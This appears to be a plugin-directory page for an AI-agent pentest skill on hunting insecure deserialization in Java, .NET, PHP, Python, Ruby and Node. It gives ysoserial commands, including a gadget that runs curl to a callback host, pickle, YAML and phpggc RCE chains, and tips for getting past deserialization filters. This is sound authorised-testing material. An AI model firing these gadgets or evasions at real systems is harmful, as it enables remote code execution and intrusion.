Skip to content
Security
Skill

/hunt-deserialization

Insecure deserialization hunting across Java / .NET / PHP / Python / Ruby / Node. Gadget-chain RCE, OOB-gated blind detection, magic-byte fingerprinting. Wiki-first, FIND schema output.

BOOST
From plugin
torch
33356 skills
Install
$ npx -y skills add Encod3d-Sec/TORCH --skill hunt-deserialization --agent claude-code

How it fires

How this skill gets triggered: by you, by Claude, or both.

  • Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
  • You can call itInvoke it directly when you want it.
  • Slash command/hunt-deserialization

Context preview

The summary Claude sees to decide when to auto-load this skill.

Insecure deserialization hunting across Java / .NET / PHP / Python / Ruby / Node. Gadget-chain RCE, OOB-gated blind detection, magic-byte fingerprinting. Wiki-first, FIND schema output.

SKILL.md

hunt-deserialization.SKILL.md
name: hunt-deserialization
description: Insecure deserialization hunting across Java / .NET / PHP / Python / Ruby / Node. Gadget-chain RCE, OOB-gated blind detection, magic-byte fingerprinting. Wiki-first, FIND schema output.

Hunt: Insecure Deserialization

**Assumes `hunt-core`** for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.

Wiki

qmd_query "insecure deserialization gadget chain Java .NET PHP Python Ruby Node ysoserial" via wiki-search MCP

Hub: [[web-moc]] (live web index). Primary page: [[insecure-deserialization]]. Payload arsenal: `wiki/payloads/deserialization.md`. Anchors: [[ml-model-deserialization]].

Confirmation gate

**Blind deserialization RCE claims require an OOB HIT. No exceptions.** The first payload is always a benign OOB probe, never a command: Java `URLDNS` / `JRMPClient` force a DNS/TCP callback with zero code-exec risk, proving the sink deserializes attacker data before you fire a gadget.

**NOT confirmation:** a deserialization error, a type error, a stack trace, a `500`, or the blob merely being accepted. Any of these alone means the parser saw your bytes, not that you control execution.

**IS confirmation:** an OOB callback from the gadget to your unique Collaborator / interactsh subdomain, or a demonstrated effect - command execution, a file read, an SSRF fetch - reproduced in a clean session per hunt-core. A time-delay gadget that reliably toggles counts as the effect. Blind cases need the OOB HIT.

When you plant the OOB probe (URLDNS/JRMPClient or any blind payload), append a row to `targets/<eng>/oob.md`: `| <token> | <sink url+param> | deser | <date> | waiting | |` (columns: token | sink | class | planted | status | source, token = your unique interactsh label). The recon-capture hook auto-correlates incoming callbacks to flip the row to HIT and SessionStart surfaces HITs; the HIT row is the gate to scaffold the FIND. Do NOT claim a blind deserialization finding without a HIT row.

Attack surface signals

Fingerprint serialized blobs by magic bytes / shape:

rO0AB...                      Java (base64, 0xAC 0xED 0x00 0x05)
AAEAAAD/////                  .NET BinaryFormatter (base64)
a:2:{... / O:8:"stdClass":    PHP serialize()
gASV / \x80\x04 / \x80\x05    Python pickle (base64 gAS...)
BAh... / --- !ruby/object     Ruby Marshal / YAML

Sink locations: cookies (`session`, `auth`, `state`, `viewstate`), hidden form fields, `Authorization`, API JSON with type hints, message queues, cache, file upload of `.ser`/`.pickle`.

**Rank before firing a gadget.** Not all sinks are equal:

  • **ASP.NET `__VIEWSTATE`** - if MAC is off or the machineKey leaked, straight to RCE; check first.
  • **Session / auth cookies carrying a serialized blob** - attacker-controlled every request, no

prior access needed to reach the sink.

  • **`.ser`/`.pickle` file uploads and `phar://` sinks** - the parser runs on your bytes by design.
  • **API JSON with type hints** (`$type`, `_class`, polymorphic deserializers) - Jackson / fastjson

default-typing, .NET `TypeNameHandling`.

  • **Message-queue / cache payloads** - internal, often unauthenticated, frequently no look-ahead

filter.

Methodology

1. Locate serialized data (decode base64, match magic bytes above). 2. **Java:**

java -jar ysoserial.jar URLDNS "http://probe.<collab>" | base64 -w0     # OOB probe FIRST
java -jar ysoserial.jar CommonsCollections6 "curl http://<collab>/x" | base64 -w0   # after sink confirmed
# .NET ViewState: known machineKey -> ysoserial.net -p ViewState

**No ysoserial jar on the box?** (the tooling VM often lacks it; the jitpack build download returns an empty/9-byte stub.) BUILD the gadget yourself against the target's gadget lib from Maven Central, then compile with `--release <target-JRE-major>` and run with the right `--add-opens`. Full recipe + modern-JDK (17/21) gotchas (class-version mismatch, `InaccessibleObjectException`, CC5's String-typed `BadAttributeValueExpException.val` on JDK 21 -> use CC6) in [[deserialization]] "Build the gadget yourself". 3. **.NET:** `ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "cmd"`; ViewState via `ysoserial.net -p ViewState --generator=... --validationkey=...`. 4. **PHP:** craft POP chain from app's `__wakeup`/`__destruct`/`__toString`; `phpggc Framework/RCE1 system id`. Look for `unserialize()` on user input, phar:// (deser via filesystem funcs). 5. **Python:** `pickle.loads` on user data -> `__reduce__` returning `(os.system, ("cmd",))`. yaml.load (unsafe) -> `!!python/object/apply:os.system`. 6. **Ruby:** Marshal.load / unsafe YAML.load -> universal gadget chains (`Gem::...`). 7. **Node:** `node-serialize` `_$$ND_FUNC$$_` IIFE; `funcster`, `serialize-javascript` sinks. 8. **Distill when confirmed** (per hunt-core): reusable gadget chain or framework sink -> `python3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page techniques/web/insecure-deserialization.md`.

Chaining

A deserialization sink is usually the RCE itself, not a step toward one: a working gadget executes your command in-process. When the classpath yields only a partial primitive - URLDNS / JRMPClient SSRF, a file-read gadget, a JNDI lookup - drive the follow-on through `hunt-rce` (JNDI/LDAP to code exec, log4shell-style) or the relevant sink skill rather than forcing a command gadget the look-ahead filter blocks.

Evasion

Look-ahead deserialization filters (`ValidatingObjectInputStream`, `ObjectInputFilter`, Jackson allowlists) reject known gadget classes by name. When a confirmed sink rejects CC1-7: switch to a gadget library actually on the classpath (Spring, Hibernate5, C3P0, ROME, MozillaRhino), try a different serialization format the same endpoint accepts (XML / JSON / YAML vs binary), nest the payload (`SignedObject` wrapping), or - .NET - swap the formatter (`LosFormatter`, `SoapFormatte

Read more
Ships withtorch

An AI-powered penetration testing and bug-bounty knowledge base and automation harness for Claude Code.

Get the whole plugin

Other skills on torch.

hunt-burp
Skill

hunt-burp

Drive Burp Suite over its MCP server as an AI triage + attack layer - review proxy history for signals, replay via Repeater/send,…

hunt-ad
Skill

hunt-ad

Active Directory attack hunting - enumeration to domain dominance. Spray-safe (lockout gate), AS-REP/Kerberoast, ACL + ADCS…

hunt-api
Skill

hunt-api

API attack hunting (REST / GraphQL / gRPC) - BOLA/IDOR, BFLA, mass assignment, excessive data exposure, auth/JWT, introspection +…